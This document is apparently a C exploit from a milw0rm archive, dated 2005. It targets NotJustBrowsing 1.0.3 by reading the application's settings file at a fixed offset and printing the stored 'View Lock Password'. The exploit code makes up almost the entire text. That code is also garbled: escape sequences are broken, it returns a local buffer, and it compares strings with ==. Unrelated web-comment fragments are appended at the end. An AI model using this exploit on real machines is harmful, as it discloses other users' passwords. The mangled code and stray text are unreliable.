/*****************************************************************
NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan
Application: NotJustBrowsing 1.0.3
Procuder: www.notjustbrowsing.com
Vulnerable Description: NotJustBrowsing 1.0.3 discloses passwords
to local users.
Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
[email protected]
*****************************************************************/
#include <stdio.h>
#include <windows.h>
HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
char *bilgi_oku(int adres,int uzunluk)
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey
) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
return NULL;
}
RegCloseKey(hKey);
strcat(prgfiles,"\NetLeaf Limited\NotJustBrowsing\notjustbrowsing.prf");
int i;
FILE *fp;
char ch[100];
if((fp=fopen(prgfiles,"rb")) == NULL)
{
return "NOTINSTALLED";
}
fseek(fp,adres,0);
for(i=0;i<uzunluk;i++)
ch[i]=getc(fp);
ch[i]=NULL;
fclose(fp);
return ch;
}
}
int main()
{
printf("NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozann");
printf("Credits to ATmaCAn");
printf("www.netmagister.com - www.spyinstructors.comn");
printf("[email protected]");
if(bilgi_oku(4,3)==NULL)
{
printf("An error occured!n");
return -1;
}
if(bilgi_oku(4,3)=="NOTINSTALLED")
{
printf("NotJustBrowsing 1.0.3 is not installed on your system!n");
return -1;
}
printf("View Lock Password: %s",bilgi_oku(4,3));
return 0;
}
// milw0rm.com [2005-04-28]
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666